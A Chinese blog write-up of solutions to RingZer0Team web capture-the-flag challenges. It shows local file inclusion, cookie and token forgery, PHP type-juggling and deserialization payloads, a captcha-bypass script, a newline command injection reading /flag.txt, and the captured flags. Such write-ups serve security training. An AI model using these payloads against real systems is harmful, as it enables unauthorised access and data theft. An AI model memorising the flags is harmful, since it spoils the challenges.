Chybeta

ringzer0team-web-writeup

ringzer0team-web

Big Brother is watching

题目地址: https://ringzer0team.com/challenges/212

题目提示:Even Google cannot find this onegoogle是搜索引擎,能阻止它的自然是。。。robots.txt啦
访问https://ringzer0team.com/robots.txt

1
2
User-agent: *
Disallow: /16bfff59f7e8343a2643bdc2ee76b2dc/

访问 https://ringzer0team.com/16bfff59f7e8343a2643bdc2ee76b2dc/

得到flag;

1
FLAG-G5swO95w0c7R5fq0sa85nVs5dK49O04i

Looking for password file

题目地址:http://ringzer0team.com:1008/?page=lorem.php

读取password,猜测是passwd文件。访问:http://ringzer0team.com:1008/?page=/etc/passwd

得到flag:

1
FLAG-zH9g1934v774Y7Zx5s16t5ym8Z

Area 51

题目地址:https://ringzer0team.com/challenges/48

题目提示:Access to this area is restricted using some secure .htaccess

.htaccess中可以限制各种请求。通过尝试后,抓包,改请求方式GET为PUT。得到flag:

1
FLAG-w4KRr557y626izv567758O52

Headache

题目提示:Answer is closer than you think!

head,所以我们抓包看头部。得到flag:

1
FLAG-365m4fU5p2DVEQbfrptDE5Ru]

Words mean something?

给了一段不知所云的文字。。不懂就抓包咯。抓包后在cookie处发现flag:0。修改后发包得到flag:

flag:

1
FLAG-AnlAb6QxDpQvg1yn2bAhyOJw

Admin Panel

有一个登陆框,随便输点什么进去,抓包后发现一个302跳转,在跳转页面里有一个奇怪的东西,见下:

将方法改成GET请求,在尾部添加:?showflagforme=yesIwantafla。见下:

得到flag:

1
FLAG-Sfi8sZgAK0ddMjVSOQU2rMfUWS

Captcha I

题目地址:http://captcha.ringzer0team.com:7421/form1.php
测试一次后,题目提示说要验证一千次。查看源代码,可以发现如下js代码:

1
2
3
4
5
6
7
8
9
10
11
<script>
function doIt(){
var A = document.getElementById('captcha-form').value;
if (A == "ehage"){
document.forms["Form1"].submit();
}
else {
alert("BAD Captcha");
}
}
</script>

其中if判断条件里的ehage就是当前的验证码,所以只要写脚本提取出这段字符串,然后再发包就行啦。脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
cookie = {'_ga':'GA1.2.1373385590.1498799275','_gid':'GA1.2.867459789.1498799275','_gat':'1','PHPSESSID':'1kr76vh1164sbgeflnngimi321'}
url = 'http://captcha.ringzer0team.com:7421'
headers = {'Authorization':'Basic Y2FwdGNoYTpRSmM5VTZ3eEQ0U0ZUMHU='}
for i in range(1000):
# get captacha
r = requests.get("http://captcha.ringzer0team.com:7421/form1.php",cookies=cookie,headers=headers)
start_addr = r.text.find('if (A == "') + len('if (A == "')
end_addr = r.text.find('"',start_addr)
captcha = r.text[start_addr:end_addr]
print(i,":",captcha)
k = requests.get("http://captcha.ringzer0team.com:7421/captcha/captchabroken.php?new",cookies=cookie,headers=headers)
data = {'captcha': captcha}
k = requests.post('http://captcha.ringzer0team.com:7421/captcha1.php',cookies=cookie,headers=headers,data=data)

跑完后得到flag:

1
Congrats The flag is "9bc635d4385e8a1775ad98980f44eb7d1714f69b"

Password reset

有一个登陆框,需要用户名和密码,还有一个重置(reset)功能。题目提供了源码。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
if(isset($_POST['reset_username'])) {
srand(time());
$token =
rand(1000000000000000,9999999999999999);
$success = '<div class="success">Reset password link has been sent to admin@youdontownthisemail.com. Please follow the link ...'
$hSql->FastQuery('DELETE FROM chal_113 WHERE ip_addr = ?', array($_SERVER['REMOTE_ADDR']));
$hSql->FastQuery('insert into chal_113 values (?,?,?)', array($_SERVER['REMOTE_ADDR'], $token, time() + 3600));
}
if(URL_HANDLE::GetInstance()->get->k != null) {
$result = reset($hSql->FastQuery('SELECT * FROM chal_113 WHERE ip_addr = ? AND recovery_key = ? ', array($_SERVER['REMOTE_ADDR'], URL_HANDLE::GetInstance()->get->k)));
if($hSql->RowCount() != 0) {
if($result->expired_time > time()) {
$success = '<div class="success">Here\'s your new password: XXXXXXXXXXXXXX</div>';
} else {
$success = '<div class="error">Expired recovery key!</div>';
}
} else {
$success = '<div class="error">Invalid recovery key!</div>';
}
}
?>

伪随机数问题,还有就是关于unix时间戳的知识。目标很明确要对admin重置密码,当点了reset后,会根据当前的time生成一个token并存放在数据库中,这个就是下文的k值。

注意图片中是:2017 06:39:41 -0400。记得计算上时差为4个小时。所以实际时间应该是2017-07-01 10:39:41。写一个php脚本,生成需要的16位的digit code。

1
2
3
4
5
6
7
<?php
$t = strtotime('2017-07-01 10:39:41');
echo($t . "<br>");
srand($t);
$token = rand(1000000000000000,9999999999999999);
echo $token;
?>

上面代码在win平台下无法生成16位的code,这个不知道为什么。。。我换到unix环境后生成的token为 32933381064794967。访问:

1
http://ringzer0team.com/challenges/113/?k=3293338106479496

得到hint:

1
Here's your new password: Thi%P@s50rD!sM1n3*

登陆,得到flag:

1
FLAG-DlwwTV7vCQf4Dn281Yhb802x5U

PHP Fairy

有一个登陆框。题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$output = "";
if (isset($_GET['code'])) {
$content = file_get_contents(__FILE__);
$content = preg_replace('/FLAG\-[0-9a-zA-Z_?!.,]+/i', 'FLAG-XXXXXXXXXXXXXXXXXXXXXXX', $content);
echo '<div class="code-highlight">';
highlight_string($content);
echo '</div>';
}
if (isset($_GET['pass'])) {
if(!preg_match('/^[^\W_]+$/', $_GET['pass'])) {
$output = "Don't hack me please :(";
} else {
$pass = md5("admin1674227342");
if ((((((((($_GET['pass'] == $pass)))) && (((($pass !== $_GET['pass']))))) || ((((($pass == $_GET['pass'])))) && ((($_GET['pass'] !== $pass)))))))) { // Trolling u lisp masta
if (strlen($pass) == strlen($_GET['pass'])) {
$output = "<div class='alert alert-success'>FLAG-XXXXXXXXXXXXXXXXXXXXXXX</div>";
} else {
$output = "<div class='alert alert-danger'>Wrong password</div>";
}
} else {
$output = "<div class='alert alert-danger'>Wrong password</div>";
}
}
}
?>

考察php弱类型。经过md5加密后生成以0e开头的字符串,而以0e开头的字符串用==比较时会被转换成0 == 0即成立。而!== 不仅比较值,而且还会比较类型。所以我们只要传入pass的值为一个0e开头的值,并且长度为32位($pass长度为32位),比如说:0e509367213418206700842008763514。

得到flag:

1
FLAG-K7PY48gt02T1yvoO9jzP694FztgR1jIS

Malicious upload

上传题,一般关注文件名后缀和content-type。经过fuzz:)知道,对filename,服务器端的检测时从左向右匹配.xxx,若遇到的第一个.xxx不是png则上传失败,另一个就是需要把content-type设置为image/png

得到flag:

1
FLAG-ve46i9UFtDh8Xd4hnqKRkP17

Security through obscurity!

题目说:You don't have admin access.。一脸懵逼,抓包发现一个奇奇怪怪的cookie:

看着。。就很像base64加密;)

1
2
3
>>> import base64
>>> base64.b64decode('Z3Vlc3QsZTczOGIwOTlhNjY0ZTAwZSwxNDk4OTA4NzM2LGZhbHNlOjIyOWQ3NDU5MmQ5MjNiOThlZjA3NjViNTU5OTkyZDI1')
b'guest,e738b099a664e00e,1498908736,false:229d74592d923b98ef0765b559992d25'

后面那串感觉很像md5,解密无果。想想先尝试改改一些东西,,比如把guest改成admin,false改成true,base64加密后得到:

1
YWRtaW4sZTczOGIwOTlhNjY0ZTAwZSwxNDk4OTA4NzM2LHRydWU6MjI5ZDc0NTkyZDkyM2I5OGVmMDc2NWI1NTk5OTJkMjU=


所以基本可以断定后面那串是md5,发包后,提示
之后我把原始的包,没有改过cookie的包直接fowward掉后提示说:

1
Expired cookie.

说明有时间限制,结合前面做过的题目推断1498908736是unix时间戳,它可以直接转换为2017/7/1 19:32:16
接下来,从整体上看一下这个cookie,它被冒号:分为两段。所以:

1
md5("guest,e738b099a664e00e,1498908736,false") => 229d74592d923b98ef0765b559992d25

不过,第二个值不清楚是如何生成的,也许只是个随机值。所以我们改一改,记得把unix时间戳改大一点不然会提示过期:

1
2
3
md5("admin,e738b099a664e00e,1498999999,true") => 05fda7a65b3ac89393e7de85bc8db295
base64("admin,e738b099a664e00e,1498999999,true:05fda7a65b3ac89393e7de85bc8db295")
=> YWRtaW4sZTczOGIwOTlhNjY0ZTAwZSwxNDk4OTk5OTk5LHRydWU6MDVmZGE3YTY1YjNhYzg5MzkzZTdkZTg1YmM4ZGIyOTU=

得到flag:

1
FLAG-Feg03OSzWhxO03K94108100f

REST in peace

题目提示:Your goal is to get superadmin access
题目地址是:https://ringzer0team.com/challenges_page/web100_c0f8a764ea6592548917aaf18261f42c.php
直接访问会显示Access Denied。
抓包后在响应包头部发现奇怪的东东,见下:

发现是sha512加密,简单咯:

将字符串admin经过sha512加密后,在请求包中添加Strong-Auth字段。发送后得到以下内容:

1
2
3
4
Document title security level
The secret of the universe.docx private
Be Better In Bed By Richard MacDonald.docx public
This file may contain a flag or not.docx extremely private

然后,,然后我还没做出来。待续。

PHP feature or 0day?

题目给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ini_set('error_displays', 0);
$ip = htmlspecialchars($_GET['url'], ENT_QUOTES);
$f = fsockopen($ip, 80, $errno, $errstr, 5);
if($f) {
$result = shell_exec('ping -c 4 ' . $ip);
echo '<div class="alert alert-success">' . nl2br($result) . '</div>';
} else {
echo '<div class="alert alert-danger">' .$errstr . '</div>';
}
?>

%0a绕过即可。
payload1:

1
127.0.0.1%0als /

发现有flag.txt。

payload2:

1
127.0.0.1%0acat /flag.txt

得到flag:

1
FLAG-v0195ZH325rG9m20043Blm92LeRE77aF

Password reset reloaded

题目提供了源码。伪随机数的问题,跟前面的reset passwd的题一样,点了reset后,会提示说:

1
Reset password link has been sent to admin@youdontownthisemailagain.com. Please follow the link http://ringzer0team.com/challenges/120/?k=[your 16 digits code] soon as possible your token expired in 1 hour.

所以为了得到16位digits code,需要得到randomDigit。为得到randomDigit,需要先得到seed。而seed由$seed = (int)bin2hex(openssl_random_pseudo_bytes($size / 2));生成。用如下php代码生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$token = "";
$size = 32;
$seed = (int)bin2hex(openssl_random_pseudo_bytes($size / 2));
srand($seed);
for($i = 0; $i < 16; $i++) {
$randomDigit = (string)rand() % 10;
$token .= "," . $randomDigit;
}
$token = str_replace(",", "", $token);
echo $token;
?>

得到16位digit code为3675356291270936。访问:

1
https://ringzer0team.com/challenges/120/?k=3675356291270936

得到passwd:CrytoIsCool!1337。登陆得到flag:

1
FLAG-LPmaGkfnDHrsMoOyHA7nIjOPRy

Serial killer!

点进去时链接是:

1
https://ringzer0team.com/challenges/41/?o=TzoxMToiUmFuZG9tQ2xhc3MiOjE6e3M6MjA6IgBSYW5kb21DbGFzcwB1U3RydWN0IjtPOjg6InN0ZENsYXNzIjoxOntzOjY6ImFjdGlvbiI7czoxNDoiR2V0Q3VycmVudERhdGUiO319

后面跟的一串base64加密,解密后为:

1
'O:11:"RandomClass":1:{s:20:"\x00RandomClass\x00uStruct";O:8:"stdClass":1:{s:6:"action";s:14:"GetCurrentDate";}}'

注意解密后里有\x00,是不可显示字符。从base64解密结果猜测为php反序列化问题。我们随便参数改改,传进去试试,结果得到报错:

格式化后源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class RandomClass {
private static $instance;
private $uStruct;
public function __construct() {
$this->uStruct = (object)array();
}
public static function GetInstance() {
if(!isset(self::$instance)) {
self::$instance = new self();
} return self::$instance;
}
public function __set($key, $value) {
$this->uStruct->$key = $value;
}
public function __get($key) {
return $this->uStruct->$key;
}
public function DoAction() {
$action = $this->uStruct->action;
$this->$action();
}
public function GetCurrentDate() {
GetCurrentDate($this->uStruct);
}
public function ShowFlag() {
if($this->uStruct->time !== null && $this->uStruct->flag == 'Please?') {
ShowFlag($this->uStruct);
}
}
public function GetOutput() {
return $this->uStruct->output;
}
}

由源码知道,uStruct由(object)array()得到,我们需要设置uStruct的action指为’ShowFlag’,这样才会调用ShowFlag函数。设置uStruct的flag值为’Please?’,设置uStruct的time值不为空,才能正确打印出flag。
用如下脚本构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class RandomClass {
private static $instance;
private $uStruct;
public function __construct() {
$this->uStruct = (object)array('action'=>'ShowFlag','time' => '1','flag' => 'Please?');
}
}
$chybeta = new RandomClass();
echo serialize($chybeta);
?>

得到:

1
O:11:"RandomClass":1:{s:20:"RandomClassuStruct";O:8:"stdClass":3:{s:6:"action";s:8:"ShowFlag";s:4:"time";s:1:"1";s:4:"flag";s:7:"Please?";}}

为能让服务器端正确解析,需要再加入两个不可见字符\x00,用python脚本如下:

1
2
3
4
import base64
# a = 'O:11:"RandomClass":1:{s:20:"\x00RandomClass\x00uStruct";O:8:"stdClass":1:{s:6:"action";s:14:"GetCurrentDate";}}';
a ='O:11:"RandomClass":1:{s:20:"\x00RandomClass\x00uStruct";O:8:"stdClass":3:{s:6:"action";s:8:"ShowFlag";s:4:"time";s:1:"1";s:4:"flag";s:7:"Please?";}} '
print base64.b64encode(a)

得到:

1
TzoxMToiUmFuZG9tQ2xhc3MiOjE6e3M6MjA6IgBSYW5kb21DbGFzcwB1U3RydWN0IjtPOjg6InN0ZENsYXNzIjozOntzOjY6ImFjdGlvbiI7czo4OiJTaG93RmxhZyI7czo0OiJ0aW1lIjtzOjE6IjEiO3M6NDoiZmxhZyI7czo3OiJQbGVhc2U/Ijt9fSA=

抓包,替换参数,如下:

得到flag:

1
FLAG-Wz87W7Rv0nmK75Hmbq41qc2i

Looking for the flag?

可以用php://filter读到源码:

1
http://ringzer0team.com:1008/?page=php://filter/read=convert.base64-encode/resource=index.php

得到flag:

1
FLAG-MeCXGBsrLlYtdxlxSbumtUbb4J

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:ringzer0team-web-writeup

文章作者:chybeta

发布时间:2017年07月05日 - 12:07

最后更新:2018年02月03日 - 23:02

原始链接:http://chybeta.github.io/2017/07/05/–ringzer0team-web-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。